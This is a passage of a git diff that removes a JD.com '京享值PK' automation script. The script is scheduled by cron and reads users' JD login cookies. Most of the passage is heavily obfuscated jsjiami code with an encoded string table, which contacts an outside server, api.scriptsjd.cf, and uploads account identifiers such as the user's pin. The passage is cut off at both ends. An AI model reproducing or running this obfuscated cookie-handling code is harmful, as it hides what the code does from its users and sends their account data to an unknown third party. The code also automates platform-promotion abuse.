$done(t) - } - } - (t, e) -} diff --git a/backUp/jd_joy_score.js b/backUp/jd_joy_score.js deleted file mode 100644 index 7d4b832..0000000 --- a/backUp/jd_joy_score.js +++ /dev/null @@ -1,387 +0,0 @@ -/* -京享值PK -cron 15 2,7,18 * * * jd_joy_score.js - -*/ - -const $ = new Env('京享值PK'); -!function (n) { "use strict"; function r(n, r) { var t = (65535 & n) + (65535 & r); return (n >> 16) + (r >> 16) + (t >> 16) << 16 | 65535 & t } function t(n, r) { return n << r | n >>> 32 - r } function u(n, u, e, o, c, f) { return r(t(r(r(u, n), r(o, f)), c), e) } function e(n, r, t, e, o, c, f) { return u(r & t | ~r & e, n, r, o, c, f) } function o(n, r, t, e, o, c, f) { return u(r & e | t & ~e, n, r, o, c, f) } function c(n, r, t, e, o, c, f) { return u(r ^ t ^ e, n, r, o, c, f) } function f(n, r, t, e, o, c, f) { return u(t ^ (r | ~e), n, r, o, c, f) } function i(n, t) { n[t >> 5] |= 128 << t % 32, n[14 + (t + 64 >>> 9 << 4)] = t; var u, i, a, h, g, l = 1732584193, d = -271733879, v = -1732584194, C = 271733878; for (u = 0; u < n.length; u += 16)i = l, a = d, h = v, g = C, d = f(d = f(d = f(d = f(d = c(d = c(d = c(d = c(d = o(d = o(d = o(d = o(d = e(d = e(d = e(d = e(d, v = e(v, C = e(C, l = e(l, d, v, C, n[u], 7, -680876936), d, v, n[u + 1], 12, -389564586), l, d, n[u + 2], 17, 606105819), C, l, n[u + 3], 22, -1044525330), v = e(v, C = e(C, l = e(l, d, v, C, n[u + 4], 7, -176418897), d, v, n[u + 5], 12, 1200080426), l, d, n[u + 6], 17, -1473231341), C, l, n[u + 7], 22, -45705983), v = e(v, C = e(C, l = e(l, d, v, C, n[u + 8], 7, 1770035416), d, v, n[u + 9], 12, -1958414417), l, d, n[u + 10], 17, -42063), C, l, n[u + 11], 22, -1990404162), v = e(v, C = e(C, l = e(l, d, v, C, n[u + 12], 7, 1804603682), d, v, n[u + 13], 12, -40341101), l, d, n[u + 14], 17, -1502002290), C, l, n[u + 15], 22, 1236535329), v = o(v, C = o(C, l = o(l, d, v, C, n[u + 1], 5, -165796510), d, v, n[u + 6], 9, -1069501632), l, d, n[u + 11], 14, 643717713), C, l, n[u], 20, -373897302), v = o(v, C = o(C, l = o(l, d, v, C, n[u + 5], 5, -701558691), d, v, n[u + 10], 9, 38016083), l, d, n[u + 15], 14, -660478335), C, l, n[u + 4], 20, -405537848), v = o(v, C = o(C, l = o(l, d, v, C, n[u + 9], 5, 568446438), d, v, n[u + 14], 9, -1019803690), l, d, n[u + 3], 14, -187363961), C, l, n[u + 8], 20, 1163531501), v = o(v, C = o(C, l = o(l, d, v, C, n[u + 13], 5, -1444681467), d, v, n[u + 2], 9, -51403784), l, d, n[u + 7], 14, 1735328473), C, l, n[u + 12], 20, -1926607734), v = c(v, C = c(C, l = c(l, d, v, C, n[u + 5], 4, -378558), d, v, n[u + 8], 11, -2022574463), l, d, n[u + 11], 16, 1839030562), C, l, n[u + 14], 23, -35309556), v = c(v, C = c(C, l = c(l, d, v, C, n[u + 1], 4, -1530992060), d, v, n[u + 4], 11, 1272893353), l, d, n[u + 7], 16, -155497632), C, l, n[u + 10], 23, -1094730640), v = c(v, C = c(C, l = c(l, d, v, C, n[u + 13], 4, 681279174), d, v, n[u], 11, -358537222), l, d, n[u + 3], 16, -722521979), C, l, n[u + 6], 23, 76029189), v = c(v, C = c(C, l = c(l, d, v, C, n[u + 9], 4, -640364487), d, v, n[u + 12], 11, -421815835), l, d, n[u + 15], 16, 530742520), C, l, n[u + 2], 23, -995338651), v = f(v, C = f(C, l = f(l, d, v, C, n[u], 6, -198630844), d, v, n[u + 7], 10, 1126891415), l, d, n[u + 14], 15, -1416354905), C, l, n[u + 5], 21, -57434055), v = f(v, C = f(C, l = f(l, d, v, C, n[u + 12], 6, 1700485571), d, v, n[u + 3], 10, -1894986606), l, d, n[u + 10], 15, -1051523), C, l, n[u + 1], 21, -2054922799), v = f(v, C = f(C, l = f(l, d, v, C, n[u + 8], 6, 1873313359), d, v, n[u + 15], 10, -30611744), l, d, n[u + 6], 15, -1560198380), C, l, n[u + 13], 21, 1309151649), v = f(v, C = f(C, l = f(l, d, v, C, n[u + 4], 6, -145523070), d, v, n[u + 11], 10, -1120210379), l, d, n[u + 2], 15, 718787259), C, l, n[u + 9], 21, -343485551), l = r(l, i), d = r(d, a), v = r(v, h), C = r(C, g); return [l, d, v, C] } function a(n) { var r, t = "", u = 32 * n.length; for (r = 0; r < u; r += 8)t += String.fromCharCode(n[r >> 5] >>> r % 32 & 255); return t } function h(n) { var r, t = []; for (t[(n.length >> 2) - 1] = void 0, r = 0; r < t.length; r += 1)t[r] = 0; var u = 8 * n.length; for (r = 0; r < u; r += 8)t[r >> 5] |= (255 & n.charCodeAt(r / 8)) << r % 32; return t } function g(n) { return a(i(h(n), 8 * n.length)) } function l(n, r) { var t, u, e = h(n), o = [], c = []; for (o[15] = c[15] = void 0, e.length > 16 && (e = i(e, 8 * n.length)), t = 0; t < 16; t += 1)o[t] = 909522486 ^ e[t], c[t] = 1549556828 ^ e[t]; return u = i(o.concat(h(r)), 512 + 8 * r.length), a(i(c.concat(u), 640)) } function d(n) { var r, t, u = ""; for (t = 0; t < n.length; t += 1)r = n.charCodeAt(t), u += "0123456789abcdef".charAt(r >>> 4 & 15) + "0123456789abcdef".charAt(15 & r); return u } function v(n) { return unescape(encodeURIComponent(n)) } function C(n) { return g(v(n)) } function A(n) { return d(C(n)) } function m(n, r) { return l(v(n), v(r)) } function s(n, r) { return d(m(n, r)) } function b(n, r, t) { return r ? t ? m(r, n) : s(r, n) : t ? C(n) : A(n) } $.md5 = b }(); -$.toObj = (t, e = null) => { - try { - return JSON.parse(t) - } catch { - return e - } -} -$.toStr = (t, e = null) => { - try { - return JSON.stringify(t) - } catch { - return e - } -} - -const notify = $.isNode() ? require("./sendNotify") : ""; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const sck = $.isNode() ? "set-cookie" : "Set-Cookie"; -const APPID = "dafbe42d5bff9d82298e5230eb8c3f79"; -const md5Key = "34e1e81ae8122ca039ec5738d33b4eee"; -let cookiesArr = [], - cookie = "", - message; -let minPrize = 1; - -let countlaunch = 0; -let countreceive = 0; -let bcomplate = false; -//是否开箱开关。true 为自动开箱,注意PK开箱豆子有时效性。有需要再开了用。默认关闭; -let kaixiang=false; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => { }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie), - ].filter((item) => !!item); -} -var _0xodV='jsjiami.com.v6',_0x5d80=[_0xodV,'wq3Cg8OYw53ClA==','w5UpwrjDlQ4=','KRLCgChd','worCiMOawo7DnMKkw4hgw7UvM8Osw4jCt8Ok','w6AdwqR/Cg==','wo3DgcOQTHsYJQ7Ckg==','wqZGw5xewoU=','RcO/UXnCngPClw==','wo3CmAvCum4=','wqLCoyc=','JBTCqjcB','Kw7CusKow5M=','5b2C5Yi85YiZ5pag776x','wpvCu2vDg0Q=','CcKuG8Oow7DClnZEVMKRZcO1JcKocg==','w6vCvjw=','6Laz5ouN5Yqf5pal5pm/6aqb776V6LyB6KCJ6KCd5YmDw57DoA==','d8K9w63DoWU=','wpHChkvDgkJxIw==','FsKeTA==','wovCr8K5wr8C','woHDqcON','MT0z','MsKlRULClw==','OCxDYcOa','PCU1wpoWOw==','woHDo8OESsOARw==','U8OgecKVQsOpw4NZfw==','wprDr8OEXg==','w70rwrA=','5Y6c5b6P5a6Q562FFA==','w4xbwrnCsSwyPQ==','C8K3wrPDpcKFaW3Csyh8wqzDtg==','QcOhRMKFYg==','wqZNw6A0dg==','6YKe6K665oie5Yua6L6s5Zqz57u45p6R77yE','d1wm','wqfDoETCuzbChws=','w63CpsOFw4tlw55WcVAnw5rDnjrDuBzDiHrDmAfDiMK8E8KqwoM=','wpwSw6zCojs6L8OVW8K+PcKILQ==','w7DDncOww6VF','wozDtsOaZMOQEg==','wrPCicOwwrLDpX4=','NyUA','EMKgG8Olw7I=','w6XClcOqwqE=','RMOyw5QV','dkAm','wpHDpMKQLsOj','w6IwwrZ7Bw==','QMO+Ug==','RixFDhk=','wrnCjMOdw4vCsU5aFA==','w5nDsk0uw60=','RH3DowrDqw==','w4YVwpgIw7k=','fR54','woDDhMKGwqTDhMOicsOh','w5QrwqU=','ICHCtMOPwok=','6YO66K605oiK5Yq56Z676Kac56+y5byN5o2o5paMcMOe77yl','wpbCscKf','wojDhzlxw4I=','w5wJwqIuw7E=','HA/Crzhl','w65lQsOofg==','wofDhcKpDsO7','TMO8w4c=','w7HDocOQw7x4w7pX','V8KzVH/CkgXClcOXw6R5eMOiJgckwrAAZ8KQKRZXNBM=','w5LCo8OENsOKR8KPP8KRw55WwrXDmQ==','w6bDqVvCqg/CgwA0','w5vCgXTDuUZ/KGzDpQ==','aQ/CoD5/XA==','wqjDmBwUw6s=','RQ3Cj8O1w60=','YT5Obw==','HcK9wp3DqcK/','w5Ybwr8d','wpfCrcKf','CTd7UsOe','KT0gwpgr','wr7CpxLClWtnAXY=','w4tjPw==','wr3CiMO7w57Cmw==','woFKw6BYwpI=','wqzDqlc=','dSRJCQg=','w5J6wpjCoQk=','w58XwrEZw4A=','ciJp','R8O2w5QgwprDjMO7','IUTDqTzDtxLDu1TDng==','w6jCvynCl3Yv','w4DCmcKB','VATCssOVag==','wppTw7lBwrA=','wpDDgi9Ww64=','GQPCj8O6wog=','w4gvwpDDlTZNFsKm','w7rDpXk=','worCkcO9w4PCiw==','w4IRwpkZw7gGw6JT','wpbDvcKJKcO4QsKABcKNw5w=','bTLCjw==','AibCpDB9','woPDs0LCghY=','biZcIAsYR3k=','QRrnu67mnoflhLbkuqXkvb3mgro=','EcKkLsOow4M=','woTDoMK1MMOd','GT/Ct8K/w4E=','wpzDtMO1YmI=','Fycv','dw3CmcOKw7M=','BDLClBMz','F0DCpTvDtzptw6bClcKZDsK5w4UOw6vDvQ==','wqPDnMKTR8K7an8=','CsO9XlnCtiXCn8OI','wrPCjsKk','w7ARwrxFFQ==','wpfDisKg','w5NjF05k','CQPCpMO3wpw=','NwMgwqQ9','w7zCosK2','JsK6woHDmcKF','SMKMw6LDiFU=','MC5JV8Oz','KC/Cpw==','wrrCow/CknI=','KyvCp8Kd','wodAw4MYWQ==','w7gXwpgNw4M=','w7fDqWomw6ZeNjctDsK6w5APJQ==','a8OIZsK6aQ==','w58hwrY=','J0jCusKJIw==','w7UlwqNu','w7TCugl8wpY=','wrvCocO8w6DCiw==','w73Ct8K4w7zClw==','fQBnwp7DpA==','wp7ChcORwpA8','KT0HwpwA','woDDgMKnwrU=','5Lqa5L+t57iC5pys77+3','CcKcM8Orw6Q=','w58swrJAIw==','wq1hw4AzfA==','Qhd5cwI=','YxdOVQk=','JxjClMOnwoEbwoxTwojCrsK+TsKUCsOKb1ERPHcvLMKow6cUaXpvZjjDv8OPwoMIDcO3w5hpV2QnZMOpwo3CocKqdW8ewpDCmcOxw4fCuGzCoCrClMOkw6UMwopDw64ze8OORk7DmMOtwqPDtSTDtMK9fHDDmsKMw7dMw77CjBTDvXlGw6vDsMO1wqcyw6PDolnDvxnCtE3DvMKmwpt3wqk0wpIRQsOMIVdV','wo3CiwTCoW4=','wprCiGs=','VAZpVBk=','w4JfTMOMfg==','w5TDm8KbXMKQ','w6xtPn5X','fz1nawsOWWRuFMO+MMORwoICwr4=','F8KLQkLChA==','wp3Dg8O5Q8O+','BcKjwqrDhcKa','w5HDm8KZZ8Kj','wo3CugbCpXc=','w6U0wr42w6g=','w5vDrUgVw6g=','wqTCh1vDt20=','wqvCiMKPwqoX','w7LCvMKhw77Cjg==','ACs3RcOV','DsK3wqY=','KT0bwooY','wonDoQdAw70=','FToywo0I','wp3DrsKPKg==','5b2S5YiQwpzDvMOAJMKl77+8','5b2p5Yiswq3DjVbDqRbDk8OU77yl','5ou/55i75LuV5Lu8w5DDgOWIr+WBvcKx','5Lqc5YqkCGfmrK/mlJXltIblrbk=','6L2p6KC26KGg5YuU6YCL6K6Ew55s','55S55omGT8KZw6UBfg==','5Lm05aSX5Lu16KG75Yu2BgXln6blt4Dnl7nlr58=','5a+O566W5qC15rag57qa5pyW4oOP4oOn','5Yy36Laa6YC86KyN6K2q5rKF5aaa6LSgwr8=','6KC95Yii6YKe6K6Y5aaz6LWG77yV','6YGk6Kya5ous5Yms6Z2S6KaS562T5by95o2L5pWQw7zCs+++hA==','5Yys6Laa6KK05YiFeV/pg43or7Xmj4nmioE=','w5gewpgUw6oBw6tlDDDDkMK8PGY9w4VYAWs=','wrzCqSPClXFkCEBZw4I7NcKc','5o+q5Y6d6KG45YmUw7DCjuaMleaKog==','wpNMw4FfwpTDnMKdwr3CvsOYwr0=','wofDhQVXw698JMOewpE=','GzNqSsOSfsOaw7zCpMOVTsK6VSYRbQ==','wo3CiMOZworCsMKmw4dsw7M+','AiXCqcKVw4zCqWXClcKsw43Dpht2wp3CosO0wo9nK0RHPCjCn8Onw7rCvMKFInd9DcOEVcO1woHDksOpwrs6RsKWKsKQw6B0RcKuwodEHcKNw6skwo92XMO4WykUw5Z1wqXCqV5Zw6gVV8KGalEgwobCjH/Dg8OiwrfDlsONwr7Cj8O9w4kBwrLDtcK/VD1qR3c/I8KJCkzDhnjCvwPChV4AYAnCg8KvScO+','NSYgwpgBcnQdwqkBwpdAbmXDoMKKGMK8ccKuawtEHF0vScKvV8KowpoRw4nCncOLwojCrMOJTHTCrnhjw7QoRH8=','fUDCrwvDtg==','w5vCnnzDgltxcA==','w5vCnXbDgxQ=','w5JRwqk=','QCFNwoHDuw==','wq3CnjbCvF4=','wpjCvBXCsWA=','wqrCt8KW','w7XDm1Arw5o=','P0zCocKEIizChw==','5oqn6KOJ5Lqc5Luz5qKf5rah6aui6K+I','awjCkMOtag==','wpDDrF4=','wrXChMKtwrg6','wqLCtgXCino=','wq3ChHE=','w54Rwp8Tw6AWw6A=','FynCpsKfw4o=','A07Cmw==','w6gtwqw=','wqXDnMKxwrPDucO2c8Ow','w4jCosOcw6Qy','w5ohwrxnCw==','wq1Gw4ZPwoo=','6I+65Y6lwokX5Yme6KKO','w54fwqUbw78b','5p6v5pa85oyu5ae355Sw','woHDo8OMWcO4Wl8Jwpcmw4vDhcKZw7A=','wonCrsKRwpQ2','VgTCp8OSQ8OlHsOTw4pLwrvDo3nDsMOO','wqXCpzbCpls=','wojCgsKb','6Lyh6KKS5LuD5Yu66YO/6K2GZjU=','w57DvsOvw5l/','wqzDoFbCmxPCnwBqVcOjFwfDvmQ=','wqDDhsK6','BQnCkg0n','cihgIgwF','w4ZLwrjCnRY=','wq1Mw7oZY8K+','LkDCpBHDuQ==','wqXCiMOo','AsKLZV3Cjw==','WMOdw7QOwpI=','55a45ou6woHDucKjwovCpw==','JSciwqU6','w6XCj8Oqwr0=','wqNtw5hDwqI=','w7fCnMOU','jsjKViMaUmiO.zcbulopBm.v6yQprB=='];(function(_0xb2513c,_0x346821,_0x19a58d){var _0x20a381=function(_0x3bda6f,_0x37447f,_0x1c2f2,_0xea4784,_0x2227f7){_0x37447f=_0x37447f>>0x8,_0x2227f7='po';var _0x11854d='shift',_0x202789='push';if(_0x37447f<_0x3bda6f){while(--_0x3bda6f){_0xea4784=_0xb2513c[_0x11854d]();if(_0x37447f===_0x3bda6f){_0x37447f=_0xea4784;_0x1c2f2=_0xb2513c[_0x2227f7+'p']();}else if(_0x37447f&&_0x1c2f2['replace'](/[KVMUOzbulpByQprB=]/g,'')===_0x37447f){_0xb2513c[_0x202789](_0xea4784);}}_0xb2513c[_0x202789](_0xb2513c[_0x11854d]());}return 0x95c14;};return _0x20a381(++_0x346821,_0x19a58d)>>_0x346821^_0x19a58d;}(_0x5d80,0xb0,0xb000));var _0x39a3=function(_0x3cf6ea,_0xbe120){_0x3cf6ea=~~'0x'['concat'](_0x3cf6ea);var _0x151358=_0x5d80[_0x3cf6ea];if(_0x39a3['TbMNIE']===undefined){(function(){var _0x4b8854;try{var _0xd6c356=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x4b8854=_0xd6c356();}catch(_0x3e2d99){_0x4b8854=window;}var _0x3a5695='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4b8854['atob']||(_0x4b8854['atob']=function(_0x4333bf){var _0x524477=String(_0x4333bf)['replace'](/=+$/,'');for(var _0x3e3aa7=0x0,_0x1b711c,_0x25b2f7,_0x501ca5=0x0,_0x2d5353='';_0x25b2f7=_0x524477['charAt'](_0x501ca5++);~_0x25b2f7&&(_0x1b711c=_0x3e3aa7%0x4?_0x1b711c*0x40+_0x25b2f7:_0x25b2f7,_0x3e3aa7++%0x4)?_0x2d5353+=String['fromCharCode'](0xff&_0x1b711c>>(-0x2*_0x3e3aa7&0x6)):0x0){_0x25b2f7=_0x3a5695['indexOf'](_0x25b2f7);}return _0x2d5353;});}());var _0x3efe5a=function(_0x4e46a,_0xbe120){var _0x18d04f=[],_0x5aae9d=0x0,_0x34a066,_0x3ab5ac='',_0x49d258='';_0x4e46a=atob(_0x4e46a);for(var _0x581154=0x0,_0x22feb7=_0x4e46a['length'];_0x581154<_0x22feb7;_0x581154++){_0x49d258+='%'+('00'+_0x4e46a['charCodeAt'](_0x581154)['toString'](0x10))['slice'](-0x2);}_0x4e46a=decodeURIComponent(_0x49d258);for(var _0x5c0ad8=0x0;_0x5c0ad8<0x100;_0x5c0ad8++){_0x18d04f[_0x5c0ad8]=_0x5c0ad8;}for(_0x5c0ad8=0x0;_0x5c0ad8<0x100;_0x5c0ad8++){_0x5aae9d=(_0x5aae9d+_0x18d04f[_0x5c0ad8]+_0xbe120['charCodeAt'](_0x5c0ad8%_0xbe120['length']))%0x100;_0x34a066=_0x18d04f[_0x5c0ad8];_0x18d04f[_0x5c0ad8]=_0x18d04f[_0x5aae9d];_0x18d04f[_0x5aae9d]=_0x34a066;}_0x5c0ad8=0x0;_0x5aae9d=0x0;for(var _0x3f2704=0x0;_0x3f2704<_0x4e46a['length'];_0x3f2704++){_0x5c0ad8=(_0x5c0ad8+0x1)%0x100;_0x5aae9d=(_0x5aae9d+_0x18d04f[_0x5c0ad8])%0x100;_0x34a066=_0x18d04f[_0x5c0ad8];_0x18d04f[_0x5c0ad8]=_0x18d04f[_0x5aae9d];_0x18d04f[_0x5aae9d]=_0x34a066;_0x3ab5ac+=String['fromCharCode'](_0x4e46a['charCodeAt'](_0x3f2704)^_0x18d04f[(_0x18d04f[_0x5c0ad8]+_0x18d04f[_0x5aae9d])%0x100]);}return _0x3ab5ac;};_0x39a3['KgfXRV']=_0x3efe5a;_0x39a3['YSHRUc']={};_0x39a3['TbMNIE']=!![];}var _0x48c6a6=_0x39a3['YSHRUc'][_0x3cf6ea];if(_0x48c6a6===undefined){if(_0x39a3['wXBFuV']===undefined){_0x39a3['wXBFuV']=!![];}_0x151358=_0x39a3['KgfXRV'](_0x151358,_0xbe120);_0x39a3['YSHRUc'][_0x3cf6ea]=_0x151358;}else{_0x151358=_0x48c6a6;}return _0x151358;};!function(_0x1d4d09){var _0x2f5518={'VpUAx':function(_0x545607){return _0x545607();},'QPRQP':function(_0x1f0ff5,_0x5d56bd){return _0x1f0ff5+_0x5d56bd;},'cRvLF':_0x39a3('0','Mj7H'),'EtYRP':function(_0x2497af,_0x33028e){return _0x2497af+_0x33028e;},'cQNDX':_0x39a3('1','TV^U'),'QiQKh':function(_0x1c41cb,_0x3ca8e8,_0x1f52e6){return _0x1c41cb(_0x3ca8e8,_0x1f52e6);},'lzEzb':function(_0x4970b8,_0x443d4e){return _0x4970b8(_0x443d4e);},'NmKvX':function(_0x5a87cb,_0x46eaaa,_0x492335){return _0x5a87cb(_0x46eaaa,_0x492335);},'Xcucj':function(_0x21b131,_0x322e0f){return _0x21b131(_0x322e0f);},'SQoAa':function(_0x2c79c9,_0x4c1708){return _0x2c79c9>_0x4c1708;},'Kekhi':function(_0x1e91ac,_0xc53847){return _0x1e91ac-_0xc53847;},'hVKMd':_0x39a3('2','R9Wo'),'yeiFu':function(_0x229ea1,_0x484946){return _0x229ea1<=_0x484946;},'mCmgd':function(_0x46b92d,_0x4f76d3){return _0x46b92d<=_0x4f76d3;},'kkvVC':'所有PK次数已完','HzKqn':function(_0x3af017,_0x3aa322){return _0x3af017>_0x3aa322;},'xuvMH':function(_0x44d7c8,_0x7c7d18){return _0x44d7c8<_0x7c7d18;},'xzNSq':function(_0x566e04,_0x3f20e3){return _0x566e04+_0x3f20e3;},'ARYOv':function(_0x174dd6,_0x16ab58){return _0x174dd6+_0x16ab58;},'xNTza':function(_0x4b1eac,_0x3ba24e){return _0x4b1eac+_0x3ba24e;},'ibhoE':'当前分数:','fVtnm':'\x20PK\x20\x20我的分数:','mmzeK':function(_0x40b312,_0x8f1eeb){return _0x40b312(_0x8f1eeb);},'pTGtD':function(_0x2a18cb,_0x27385e){return _0x2a18cb<_0x27385e;},'VHkoB':'账户分数更高,进行主动PK','pAzOA':function(_0x44b73f,_0x57fa23,_0x44ee78,_0x527c03){return _0x44b73f(_0x57fa23,_0x44ee78,_0x527c03);},'frUfH':_0x39a3('3','I2]9'),'ddWsV':_0x39a3('4','#YBg'),'fnIqL':function(_0x3de281,_0x5cc941){return _0x3de281>_0x5cc941;},'qYsph':function(_0x1cec11,_0x158e51){return _0x1cec11<_0x158e51;},'CTKJv':function(_0x4c3a2f,_0x487c2d){return _0x4c3a2f==_0x487c2d;},'igsKH':function(_0x178a51,_0x413d32){return _0x178a51+_0x413d32;},'aXmPR':function(_0x3943ea,_0x17c85c){return _0x3943ea+_0x17c85c;},'gdtJa':function(_0x3e9f0e,_0x262dac){return _0x3e9f0e+_0x262dac;},'dDiTs':_0x39a3('5',']GlQ'),'oiWbB':function(_0xc81fec,_0x160ca8,_0x40c3c7,_0x112a67,_0x95b46e){return _0xc81fec(_0x160ca8,_0x40c3c7,_0x112a67,_0x95b46e);},'mlMpf':function(_0x4dcff1,_0x252388,_0x12c0d7,_0x47ea7c,_0x44872d){return _0x4dcff1(_0x252388,_0x12c0d7,_0x47ea7c,_0x44872d);},'oBELP':'账户分数更高,进行被动PK','NvOeF':'没有获取到被动邀请码','rvuHw':_0x39a3('6',']ot$'),'HTnLi':'准备检测是否可以开宝箱……','BoYGa':function(_0x5ee296,_0x39d3db){return _0x5ee296<_0x39d3db;},'zfutG':_0x39a3('7','h&F*'),'wJOJT':_0x39a3('8','8D9N'),'aAnyE':'发起挑战','fYTMT':function(_0x385195,_0xe4b7d1,_0x2fcb04,_0x39e8e1,_0x8a17dc){return _0x385195(_0xe4b7d1,_0x2fcb04,_0x39e8e1,_0x8a17dc);},'ukfyC':function(_0x5847f6,_0x3319c6,_0x4186be,_0x2a0ba9){return _0x5847f6(_0x3319c6,_0x4186be,_0x2a0ba9);},'Ssfat':function(_0x2bda60,_0x1b2ea8){return _0x2bda60+_0x1b2ea8;},'uYCQT':_0x39a3('9','w&dc'),'ySdjS':_0x39a3('a','afCd'),'uFzUZ':_0x39a3('b','oFYv'),'FgeCk':function(_0x1d07bd,_0x392969,_0x4d9930,_0x3c50c0){return _0x1d07bd(_0x392969,_0x4d9930,_0x3c50c0);},'DPgfF':_0x39a3('c','#YBg'),'RRrUc':'当前胜场:','lDVqW':function(_0x3cfe8b,_0x5a0d38){return _0x3cfe8b+_0x5a0d38;},'iBhLx':function(_0xb75e40,_0x1ce21c,_0x2b46a7,_0x4acf7f){return _0xb75e40(_0x1ce21c,_0x2b46a7,_0x4acf7f);},'gdWIZ':_0x39a3('d','MRU^'),'VtgHW':_0x39a3('e','E0xB'),'aUkJw':'jdShareRandom','vPqYX':function(_0x5438f7,_0x2eedeb){return _0x5438f7+_0x2eedeb;},'cplTp':'获取分享PK码:','IAMoz':function(_0x17bb1a,_0x444ac6){return _0x17bb1a(_0x444ac6);},'JmSqH':function(_0x567d99,_0x10671f){return _0x567d99(_0x10671f);},'PXXKr':_0x39a3('f','wTes'),'LGkNG':_0x39a3('10','j8%E'),'rFsNI':'api.scriptsjd.cf','rTbKL':_0x39a3('11','IaX&'),'mziLz':_0x39a3('12','8D9N'),'pESnJ':'\x20*/*','lqxNO':_0x39a3('13','E0xB'),'zexzq':function(_0x326028,_0x2b0fa5){return _0x326028(_0x2b0fa5);},'NheOA':function(_0x1566dd,_0x38a4c9){return _0x1566dd+_0x38a4c9;},'lHTMk':function(_0x23fb5d,_0x209730){return _0x23fb5d+_0x209730;},'SFDhB':_0x39a3('14','$($2'),'CGDQv':_0x39a3('15','l7#d'),'bsuvi':function(_0x3766e4,_0x5500f4){return _0x3766e4(_0x5500f4);},'YcMuT':'https://api.scriptsjd.cf/api/JoyScore/GetPin?count=','Qfxkb':_0x39a3('16','oFYv'),'KafRY':_0x39a3('17','oFYv')};async function _0x5c144e(){let _0x41e12d=await _0x2f5518['VpUAx'](getToken);let _0x107bff=[];let _0x427b83=[];console[_0x39a3('18',']ot$')](_0x2f5518[_0x39a3('19',']GlQ')](_0x2f5518[_0x39a3('1a','MRU^')],_0x41e12d));if(_0x41e12d){let _0x530b53;let _0x54afa7=await _0x2f5518[_0x39a3('1b','MRU^')](getPin);if(_0x54afa7['Pin']){console['log'](_0x2f5518['EtYRP']('当前pin(pk码):',_0x54afa7[_0x39a3('1c','Kilg')])+_0x2f5518[_0x39a3('1d','w&dc')]+_0x54afa7[_0x39a3('1e','h&F*')]);}console['log'](_0x39a3('1f','MKRK'));await _0x2f5518[_0x39a3('20','TV^U')](_0x4c239d,APPID,_0x54afa7[_0x39a3('21','MKRK')]);await _0x2f5518[_0x39a3('22','afCd')](_0x227570,APPID,_0x54afa7['Pin']);let _0x3dc059=await _0x2f5518[_0x39a3('23','MRU^')](getUserPkInfo,_0x54afa7['Pin']);let _0x1919fa=await _0x2f5518['NmKvX'](_0x55e179,_0x54afa7[_0x39a3('24','oFYv')],_0x54afa7[_0x39a3('25','#YBg')]);let _0x4b14e6=await _0x2f5518[_0x39a3('26','E0xB')](getScore,_0x54afa7[_0x39a3('27','h&F*')]);let _0x3661b2={'PkPin':_0x54afa7[_0x39a3('28','HY0x')],'PtPin':$[_0x39a3('29','G$mk')],'RandomStr':_0x1919fa,'Score':_0x4b14e6};await _0x2f5518['Xcucj'](_0x2b5121,_0x3661b2);countlaunch=0x0;countreceive=0x0;let _0x3540f8=await _0x359b84($[_0x39a3('29','G$mk')]);if(_0x2f5518[_0x39a3('2a',']YGL')](_0x3540f8,0x0)){countreceive=_0x2f5518[_0x39a3('2b','059U')](_0x3540f8,0x1);countlaunch=0x1;}_0x2f5518[_0x39a3('2c','wTes')](sleep,0x7d0);let _0x44e27c=await _0x260e12(0x28,_0x4b14e6,_0x54afa7['Pin']);console['log'](_0x39a3('2d','^E5j')+_0x44e27c[_0x39a3('2e','#YBg')]+_0x39a3('2f','MRU^'));console['log'](_0x2f5518['hVKMd']+_0x4b14e6);if(_0x2f5518['yeiFu'](_0x3dc059[_0x39a3('30','qh5G')],0x0)&&_0x2f5518[_0x39a3('31','afCd')](_0x3dc059[_0x39a3('32','TV^U')],0x0)){console[_0x39a3('18',']ot$')](_0x2f5518[_0x39a3('33','MRU^')]);return;}console[_0x39a3('34','afCd')](_0x39a3('35','Kilg'));if(_0x2f5518[_0x39a3('36','l]@n')](_0x3dc059[_0x39a3('37','MKRK')],0x0)){_0x530b53=await getFriendPinList(_0x54afa7[_0x39a3('38','G$mk')]);if(_0x2f5518[_0x39a3('39','^E5j')](_0x530b53[_0x39a3('3a','pTdG')],0x0)){let _0xd4620d,_0x51c801;for(let _0x5bba50=0x0;_0x2f5518[_0x39a3('3b',']ot$')](_0x5bba50,_0x530b53[_0x39a3('3c','bQt1')]);_0x5bba50++){_0xd4620d=_0x530b53[_0x5bba50];_0x51c801=await _0x2f5518[_0x39a3('3d','H[b^')](getScore,_0xd4620d);console[_0x39a3('3e','Pe)U')](_0x2f5518[_0x39a3('3f','X*t]')](_0x2f5518['ARYOv'](_0x2f5518[_0x39a3('40','jNjD')](_0x39a3('41','T6b#')+_0xd4620d,_0x2f5518['ibhoE'])+_0x51c801,_0x2f5518['fVtnm']),_0x4b14e6));_0x2f5518['mmzeK'](sleep,0x1f4);if(_0x2f5518[_0x39a3('42','$($2')](_0x51c801,_0x4b14e6)){if(_0x2f5518['pTGtD'](countlaunch,_0x3dc059['leftLunchPkNum'])){_0x107bff[_0x39a3('43','Doo9')](_0xd4620d);console['log'](_0x2f5518[_0x39a3('44','wTes')]);await _0x2f5518['pAzOA'](_0x6c8870,_0xd4620d,_0x54afa7['Pin'],_0x54afa7['lkToken']);}else{break;}}else{continue;}}}else{console[_0x39a3('45',']YGL')]('没有获取到好友');}}else{console['log'](_0x2f5518['frUfH']);}console['log'](_0x2f5518[_0x39a3('46','Pe)U')]);_0x3dc059=await _0x2f5518[_0x39a3('47','HY0x')](getUserPkInfo,_0x54afa7['Pin']);if(_0x2f5518[_0x39a3('48','oa#(')](_0x3dc059[_0x39a3('49','8D9N')]-countreceive,0x0)){if(_0x44e27c){for(let _0x2d7585=0x0;_0x2f5518[_0x39a3('4a','059U')](_0x2d7585,_0x44e27c['length']);_0x2d7585++){let _0xd4620d=_0x44e27c[_0x2d7585]['PkPin'];let _0x188d65=_0x44e27c[_0x2d7585][_0x39a3('4b','k)5l')];let _0x51c801=_0x44e27c[_0x2d7585][_0x39a3('4c','wTes')];let 